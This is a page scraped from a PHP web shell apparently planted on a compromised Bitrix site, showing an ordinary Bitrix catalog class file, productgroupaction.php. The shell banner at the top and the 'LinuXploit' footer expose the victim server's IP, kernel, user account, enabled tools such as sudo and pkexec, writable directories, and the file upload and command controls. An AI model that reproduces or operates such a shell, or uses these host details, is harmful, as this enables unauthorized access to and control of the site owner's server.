403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/grid/panel/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/grid/panel/productgroupaction.php
<?php

namespace Bitrix\Catalog\Grid\Panel;

use Bitrix\Main;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Iblock;
use Bitrix\Catalog;
use Bitrix\Catalog\Access\ActionDictionary;
use Bitrix\Catalog\Access\AccessController;
use Bitrix\Currency;

/**
 * @internal used only in admin panel, for public area use `ProductActionPanel`.
 *
 * @see \Bitrix\Catalog\Grid\Panel\UI\ProductActionPanel
 */
class ProductGroupAction extends Iblock\Grid\Panel\GroupAction
{
	private const FIELD_ID_PREFIX = 'product_';

	private const FIELD_NAME_PREFIX = 'PRODUCT_';

	private const PRODUCT_FIELD_NAME = 'PRODUCT_FIELD_NAME';

	/** @var bool */
	protected $catalogIncluded = null;

	protected $catalogOptions = [];

	/** @var array */
	protected $catalogConfig = null;

	protected $productFieldHandlers = [];

	public function __construct(array $options)
	{
		parent::__construct($options);

		$this->initProductFieldHandlers();
	}

	/**
	 * @return void
	 */
	protected function initConfig()
	{
		parent::initConfig();

		$this->catalogIncluded = Loader::includeModule('catalog');
		if ($this->catalogIncluded)
		{
			$this->catalogConfig = \CCatalogSku::GetInfoByIBlock($this->iblockId);
			if (empty($this->catalogConfig))
			{
				$this->catalogConfig = null;
			}
			$this->catalogOptions['SEPARATE_MODE'] = Main\Config\Option::get('catalog', 'show_catalog_tab_with_offers') === 'Y';
			$this->catalogOptions['STORE_MODE'] = Catalog\Config\State::isUsedInventoryManagement();
		}
	}

	/**
	 * @return array|null
	 */
	public function getCatalogConfig(): ?array
	{
		return $this->catalogConfig;
	}

	/**
	 * @return array
	 */
	public function getCatalogOptions(): array
	{
		return $this->catalogOptions;
	}

	/**
	 * @return void
	 */
	protected function initProductFieldHandlers()
	{
		$this->productFieldHandlers = [
			'WEIGHT' => 'Weight',
			'QUANTITY_TRACE' => 'QuantityTrace',
			'CAN_BUY_ZERO' => 'CanBuyZero',
			'QUANTITY' => 'Quantity',
			'PURCHASING_PRICE' => 'PurchasingPrice',
			'VAT_INCLUDED' => 'VatIncluded',
			'VAT_ID' => 'VatId',
			'SUBSCRIBE' => 'Subscribe',
			'MEASURE' => 'Measure'
		];
	}

	/**
	 * @return array
	 */
	protected function getActionHandlers()
	{
		$result = parent::getActionHandlers();
		$result[Catalog\Grid\ProductAction::SET_FIELD] = 'ProductField';
		$result[Catalog\Grid\ProductAction::CHANGE_PRICE] = 'ProductChangePrice';
		if (Main\Config\Option::get('catalog', 'enable_convert_product_to_service') === 'Y')
		{
			$result[Catalog\Grid\ProductAction::CONVERT_PRODUCT_TO_SERVICE] = 'ConvertProductToService';
			$result[Catalog\Grid\ProductAction::CONVERT_SERVICE_TO_PRODUCT] = 'ConvertServiceToProduct';
		}

		return $result;
	}

	/**
	 * @param array $params
	 * @return array|null
	 */
	protected function actionProductFieldPanel(array $params = []): ?array
	{
		if (!$this->isAllowedProductActions())
			return null;

		$result = [];
		$items = [];

		if ($this->catalogConfig['CATALOG_TYPE'] !== \CCatalogSku::TYPE_PRODUCT)
		{
			foreach ($this->productFieldHandlers as $handler)
			{
				$handler = 'getProductField' . $handler . 'Row';
				if (is_callable([$this, $handler]))
				{
					$row = call_user_func_array([$this, $handler], []);
					if (!empty($row))
					{
						$items[] = $row;
					}
				}
			}
			unset($row, $handler);


		}

		$userFields = Catalog\Product\SystemField::getGroupActions($this);
		if (!empty($userFields) && is_array($userFields))
		{
			$items = array_merge($items, $userFields);
		}
		unset($userFields);

		if (!empty($items))
		{
			$name = (isset($params['NAME']) && $params['NAME'] != ''
				? $params['NAME']
				: Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_SET_PRODUCT_FIELD')
			);

			$data = [];
			$data[] = [
				'TYPE' => Main\Grid\Panel\Types::DROPDOWN,
				'ID' => $this->getFormProductFieldId(),
				'NAME' => $this->getFormProductFieldName(),
				'ITEMS' => $items
			];
			if ($this->isUiGrid())
			{
				$data[] = $this->getApplyButtonWithConfirm([
					'APPLY_BUTTON_ID' => 'send_product',
					'CONFIRM_MESSAGE' => Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_SET_PRODUCT_FIELD_CONFIRM'),
				]);
			}

			$result = [
				'name' => $name,
				'type' => 'multicontrol',
				'action' => [
					[
						'ACTION' => Main\Grid\Panel\Actions::RESET_CONTROLS
					],
					[
						'ACTION' => Main\Grid\Panel\Actions::CREATE,
						'DATA' => $data
					]
				]
			];

			unset($data);
		}
		unset($items);

		return $result;
	}

	/**
	 * @return array|null
	 */
	protected function actionProductFieldRequest(): ?array
	{
		$fieldId = $this->request->get($this->getFormProductFieldName());
		if (empty($fieldId))
		{
			return null;
		}

		if (strncmp($fieldId, 'UF_', 3) === 0)
		{
			return Catalog\Product\SystemField::getGroupActionRequest($this, $fieldId);
		}

		if (!isset($this->productFieldHandlers[$fieldId]))
		{
			return null;
		}

		$handler = 'getProductField'.$this->productFieldHandlers[$fieldId].'Request';
		if (is_callable([$this, $handler]))
		{
			return call_user_func_array([$this, $handler], []);
		}

		return null;
	}

	/**
	 * @param array $params
	 * @return array|null
	 */
	protected function actionProductChangePricePanel(array $params = []): ?array
	{
		if (!$this->isAllowedProductActions())
			return null;

		$name = (isset($params['NAME']) && $params['NAME'] != ''
			? $params['NAME']
			: Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_PRODUCT_CHANGE_PRICE')
		);

		return [
			'name' => $name,
			'type' => 'customJs',
			'js' => 'CreateDialogChPrice()'
		];
	}

	/**
	 * @return array|null
	 */
	protected function actionProductChangePriceRequest(): ?array
	{
		$result = [];
		$result['PRICE_TYPE'] = $this->request->get('chprice_id_price_type');
		$result['UNITS'] = $this->request->get('chprice_units');
		$result['FORMAT_RESULTS'] = $this->request->get('chprice_format_result');
		$result['INITIAL_PRICE_TYPE'] = $this->request->get('chprice_initial_price_type');
		$result['RESULT_MASK'] = $this->request->get('chprice_result_mask');
		$result['DIFFERENCE_VALUE'] = $this->request->get('chprice_difference_value');
		$result['VALUE_CHANGING'] = $this->request->get('chprice_value_changing_price');
		return (!empty($result['VALUE_CHANGING']) ? $result : null);
	}

	protected function actionConvertProductToServicePanel(array $params = []): ?array
	{
		if (!$this->isAllowedProductActions())
		{
			return null;
		}
		if (!$this->isUiGrid())
		{
			return null;
		}

		$params['APPLY_BUTTON_ID'] = 'convert_product_to_service_confirm';
		$params['CONFIRM_MESSAGE'] =
			Catalog\Config\State::isUsedInventoryManagement()
				? Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_CONVERT_PRODUCT_TO_SERVICE_CONFIRM_WITH_INVENTORY')
				: Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_CONVERT_PRODUCT_TO_SERVICE_CONFIRM_WITHOUT_INVENTORY')
		;

		return [
			'name' => (string)($params['NAME'] ?? Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_CONVERT_PRODUCT_TO_SERVICE')),
			'type' => 'multicontrol',
			'action' => [
				[
					'ACTION' => Main\Grid\Panel\Actions::RESET_CONTROLS
				],
				[
					'ACTION' => Main\Grid\Panel\Actions::CREATE,
					'DATA' => [$this->getApplyButtonWithConfirm($params)]
				]
			]
		];
	}

	protected function actionConvertServiceToProductPanel(array $params = []): ?array
	{
		if (!$this->isAllowedProductActions())
		{
			return null;
		}
		if (!$this->isUiGrid())
		{
			return null;
		}

		$params['APPLY_BUTTON_ID'] = 'convert_service_to_product_confirm';
		$params['CONFIRM_MESSAGE'] = Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_CONVERT_SERVICE_TO_PRODUCT_CONFIRM_MESSAGE_MSGVER_1');

		return [
			'name' => (string)($params['NAME'] ?? Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_CONVERT_SERVICE_TO_PRODUCT')),
			'type' => 'multicontrol',
			'action' => [
				[
					'ACTION' => Main\Grid\Panel\Actions::RESET_CONTROLS
				],
				[
					'ACTION' => Main\Grid\Panel\Actions::CREATE,
					'DATA' => [$this->getApplyButtonWithConfirm($params)]
				]
			]
		];
	}

	/**
	 * @return string
	 */
	public function getFormProductFieldName(): string
	{
		return self::PRODUCT_FIELD_NAME;
	}

	/**
	 * @return string
	 */
	public function getFormProductFieldId(): string
	{
		return mb_strtolower($this->getFormProductFieldName().'_ID');
	}

	/**
	 * @param string $field
	 * @return string
	 */
	public function getFormRowFieldName(string $field): string
	{
		return self::FIELD_NAME_PREFIX.mb_strtoupper($field);
	}

	/**
	 * @param string $field
	 * @return string
	 */
	public function getFormRowFieldId(string $field): string
	{
		return self::FIELD_ID_PREFIX.mb_strtolower($field).'_id';
	}

	/**
	 * @param bool $defaultState
	 * @return array
	 */
	protected static function getStatusList(bool $defaultState): array
	{
		$result = [];

		$result[] = [
			'NAME' => Loc::getMessage(
				'IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_DEFAULT',
				['#VALUE#' => $defaultState
					? Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_YES')
					: Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_NO')
				]
			),
			'VALUE' => Catalog\ProductTable::STATUS_DEFAULT
		];
		$result[] = [
			'NAME' => Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_YES'),
			'VALUE' => Catalog\ProductTable::STATUS_YES
		];
		$result[] = [
			'NAME' => Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_NO'),
			'VALUE' => Catalog\ProductTable::STATUS_NO
		];

		return $result;
	}

	/**
	 * @return array
	 */
	protected static function getBinaryList(): array
	{
		$result = [];

		$result[] = [
			'NAME' => Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_YES'),
			'VALUE' => Catalog\ProductTable::STATUS_YES
		];
		$result[] = [
			'NAME' => Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_STATUS_NO'),
			'VALUE' => Catalog\ProductTable::STATUS_NO
		];

		return $result;
	}

	/**
	 * @return bool
	 */
	protected function isAllowedProductActions(): bool
	{
		if (!$this->catalogIncluded)
		{
			return false;
		}
		if (empty($this->catalogConfig))
		{
			return false;
		}

		return true;
	}

	/**
	 * @param string $fieldId
	 * @return array
	 * @throws Main\ArgumentException
	 * @throws Main\SystemException
	 */
	protected function getInputField(string $fieldId): array
	{
		$entity = Catalog\ProductTable::getEntity();
		$field = $entity->getField($fieldId);

		$action = [];
		$action[] = [
			'ACTION' => Main\Grid\Panel\Actions::RESET_CONTROLS
		];
		$action[] = [
			'ACTION' => Main\Grid\Panel\Actions::CREATE,
			'DATA' => [
				[
					'TYPE' => Main\Grid\Panel\Types::TEXT,
					'ID' => $this->getFormRowFieldId($fieldId),
					'NAME' => $this->getFormRowFieldName($fieldId),
					'VALUE' => ''
				]
			]
		];
		$result = [
			'NAME' => $field->getTitle(),
			'VALUE' => $fieldId,
			'ONCHANGE' => $action
		];
		unset($action);
		unset($field, $entity);

		return $result;
	}

	/**
	 * @param string $fieldId
	 * @param array $list
	 * @return array|null
	 * @throws Main\ArgumentException
	 * @throws Main\SystemException
	 */
	protected function getDropdownField(string $fieldId, array $list): ?array
	{
		$entity = Catalog\ProductTable::getEntity();
		$field = $entity->getField($fieldId);

		$action = [];
		$action[] = [
			'ACTION' => Main\Grid\Panel\Actions::RESET_CONTROLS
		];
		$action[] = [
			'ACTION' => Main\Grid\Panel\Actions::CREATE,
			'DATA' => [
				[
					'TYPE' => Main\Grid\Panel\Types::DROPDOWN,
					'ID' => $this->getFormRowFieldId($fieldId),
					'NAME' => $this->getFormRowFieldName($fieldId),
					'ITEMS' => $list
				],
			]
		];

		$result = [
			'NAME' => $field->getTitle(),
			'VALUE' => $fieldId,
			'ONCHANGE' => $action
		];
		unset($action);
		unset($field, $entity);

		return $result;
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldWeightRow(): ?array
	{
		if (!$this->isAllowedProductActions())
			return null;

		return $this->getInputField('WEIGHT');
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldWeightRequest(): ?array
	{
		$result = $this->request->get($this->getFormRowFieldName('WEIGHT'));
		$result = $this->checkFloatValue($result);
		if ($result === null)
			return null;
		return ['WEIGHT' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldQuantityTraceRow(): ?array
	{
		if ($this->catalogOptions['STORE_MODE'])
			return null;

		return $this->getDropdownField(
			'QUANTITY_TRACE',
			$this->getStatusList(
				Main\Config\Option::get('catalog', 'default_quantity_trace') === 'Y'
			)
		);
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldQuantityTraceRequest(): ?array
	{
		$result = $this->request->get($this->getFormRowFieldName('QUANTITY_TRACE'));
		if (!$this->checkStatusValue($result))
			return null;
		return ['QUANTITY_TRACE' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldCanBuyZeroRow(): ?array
	{
		if ($this->catalogOptions['STORE_MODE'])
			return null;

		return $this->getDropdownField(
			'CAN_BUY_ZERO',
			$this->getStatusList(
				Main\Config\Option::get('catalog', 'default_can_buy_zero') === 'Y'
			)
		);
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldCanBuyZeroRequest(): ?array
	{
		$result = $this->request->get($this->getFormRowFieldName('CAN_BUY_ZERO'));
		if (!is_string($result))
			return null;
		if (!$this->checkStatusValue($result))
			return null;
		return ['CAN_BUY_ZERO' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldQuantityRow(): ?array
	{
		if ($this->catalogOptions['STORE_MODE'])
			return null;

		return $this->getInputField('QUANTITY');
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldQuantityRequest(): ?array
	{
		$result = $this->request->get($this->getFormRowFieldName('QUANTITY'));
		$result = $this->checkFloatValue($result);
		if ($result === null)
			return null;
		return ['QUANTITY' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldPurchasingPriceRow(): ?array
	{
		if ($this->catalogOptions['STORE_MODE'])
			return null;
		if (!AccessController::getCurrent()->check(ActionDictionary::ACTION_PRODUCT_PURCHASE_INFO_VIEW))
		{
			return null;
		}

		$list = [];
		foreach (Currency\CurrencyManager::getCurrencyList() as $currencyId => $currencyName)
		{
			$list[] = [
				'VALUE' => $currencyId,
				'NAME' => $currencyName
			];
		}
		if (empty($list))
			return null;

		$entity = Catalog\ProductTable::getEntity();
		$field = $entity->getField('PURCHASING_PRICE');

		$action = [];
		$action[] = [
			'ACTION' => Main\Grid\Panel\Actions::RESET_CONTROLS
		];
		$action[] = [
			'ACTION' => Main\Grid\Panel\Actions::CREATE,
			'DATA' => [
				[
					'TYPE' => Main\Grid\Panel\Types::TEXT,
					'ID' => $this->getFormRowFieldId('PURCHASING_PRICE'),
					'NAME' => $this->getFormRowFieldName('PURCHASING_PRICE'),
					'VALUE' => ''
				],
				[
					'TYPE' => Main\Grid\Panel\Types::DROPDOWN,
					'ID' => $this->getFormRowFieldId('PURCHASING_CURRENCY'),
					'NAME' => $this->getFormRowFieldName('PURCHASING_CURRENCY'),
					'ITEMS' => $list
				]
			]
		];

		$result = [
			'NAME' => $field->getTitle(),
			'VALUE' => 'PURCHASING_PRICE',
			'ONCHANGE' => $action
		];
		unset($action);
		unset($field, $entity);

		return $result;
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldPurchasingPriceRequest(): ?array
	{
		$price = self::checkEmptyFloatValue($this->request->get($this->getFormRowFieldName('PURCHASING_PRICE')));
		if ($price === null)
			return null;
		if ($price === '')
		{
			$price = null;
			$currency = null;
		}
		else
		{
			$currency = $this->request->get($this->getFormRowFieldName('PURCHASING_CURRENCY'));
			if (!is_string($currency))
				return null;
			$currency = trim($currency);
			if ($currency === '')
				return null;
		}
		return ['PURCHASING_PRICE' => $price, 'PURCHASING_CURRENCY' => $currency];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldVatIncludedRow(): ?array
	{
		return $this->getDropdownField(
			'VAT_INCLUDED',
			$this->getBinaryList()
		);
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldVatIncludedRequest(): ?array
	{
		$result = $this->request->get($this->getFormRowFieldName('VAT_INCLUDED'));
		if (!$this->checkBinaryValue($result))
			return null;
		return ['VAT_INCLUDED' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldVatIdRow(): ?array
	{
		$list = [];
		$list[] = [
			'VALUE' => '0',
			'NAME' => Loc::getMessage('IBLOCK_GRID_PANEL_ACTION_MESS_EMPTY_VALUE')
		];
		$found = false;
		$iterator = Catalog\VatTable::getList([
			'select' => ['ID', 'NAME', 'SORT'],
			'filter' => ['=ACTIVE' => 'Y'],
			'order' => ['SORT' => 'ASC', 'ID' => 'ASC']
		]);
		while ($row = $iterator->fetch())
		{
			$found = true;
			$list[] = [
				'VALUE' => $row['ID'],
				'NAME' => $row['NAME']
			];
		}
		unset($row, $iterator);
		if (!$found)
			return null;

		return $this->getDropdownField(
			'VAT_ID',
			$list
		);
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldVatIdRequest(): ?array
	{
		$result = $this->checkIntValue($this->request->get($this->getFormRowFieldName('VAT_ID')));
		if ($result === null || $result < 0)
			return null;
		return ['VAT_ID' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldSubscribeRow(): ?array
	{
		return $this->getDropdownField(
			'SUBSCRIBE',
			$this->getStatusList(
				Main\Config\Option::get('catalog', 'default_subscribe') === 'Y'
			)
		);
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldSubscribeRequest(): ?array
	{
		$result = $this->request->get($this->getFormRowFieldName('SUBSCRIBE'));
		if (!is_string($result))
			return null;
		if (!$this->checkStatusValue($result))
			return null;
		return ['SUBSCRIBE' => $result];
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldMeasureRow(): ?array
	{
		$list = [];
		$iterator = \CCatalogMeasure::getList(
			array(),
			array(),
			false,
			false,
			array('ID', 'CODE', 'MEASURE_TITLE', 'SYMBOL_INTL')
		);
		while($row = $iterator->Fetch())
		{
			$list[] = [
				'VALUE' => $row['ID'],
				'NAME' => $row['MEASURE_TITLE']
			];
		}
		unset($row, $iterator);
		if (empty($list))
			return null;

		return $this->getDropdownField(
			'MEASURE',
			$list
		);
	}

	/**
	 * @return array|null
	 */
	protected function getProductFieldMeasureRequest(): ?array
	{
		$result = $this->checkIntValue($this->request->get($this->getFormRowFieldName('MEASURE')));
		if ($result === null || $result <= 0)
			return null;
		return ['MEASURE' => $result];
	}

	/**
	 * Returns float value or null for data entered in user form.
	 * @internal
	 *
	 * @param $value
	 * @return float|null
	 */
	protected static function checkFloatValue($value): ?float
	{
		if (is_array($value) || $value === null)
			return null;
		$value = (str_replace([',', ' '], ['.', ''], trim($value)));
		if ($value === '')
			return null;
		$value = (float)$value;
		return (is_finite($value) ? $value : null);
	}

	/**
	 * Returns float value or null for price data entered in user form. Need for php7.
	 * @internal
	 *
	 * @param string|int|float $value		Float value from form.
	 * @return float|null|string
	 */
	protected static function checkEmptyFloatValue($value)
	{
		if (is_array($value) || $value === null)
			return null;
		$value = trim($value);
		if ($value === '')
			return '';
		$value = (float)(str_replace(',', '.', $value));
		return (is_finite($value) ? $value : null);
	}

	/**
	 * @param $value
	 * @return bool
	 */
	protected static function checkStatusValue($value): bool
	{
		return (
			$value === Catalog\ProductTable::STATUS_DEFAULT
			|| $value === Catalog\ProductTable::STATUS_YES
			|| $value === Catalog\ProductTable::STATUS_NO
		);
	}

	/**
	 * @param $value
	 * @return bool
	 */
	protected static function checkBinaryValue($value): bool
	{
		return (
			$value === Catalog\ProductTable::STATUS_YES
			|| $value === Catalog\ProductTable::STATUS_NO
		);
	}

	/**
	 * Returns int value or null for data entered in user form.
	 * @internal
	 *
	 * @param string|int $value		Integer value from form.
	 * @return int|null
	 */
	protected static function checkIntValue($value): ?int
	{
		if (is_array($value) || $value === null)
		{
			return null;
		}
		if (((int)$value).'|' !== $value.'|')
		{
			return null;
		}

		return (int)$value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit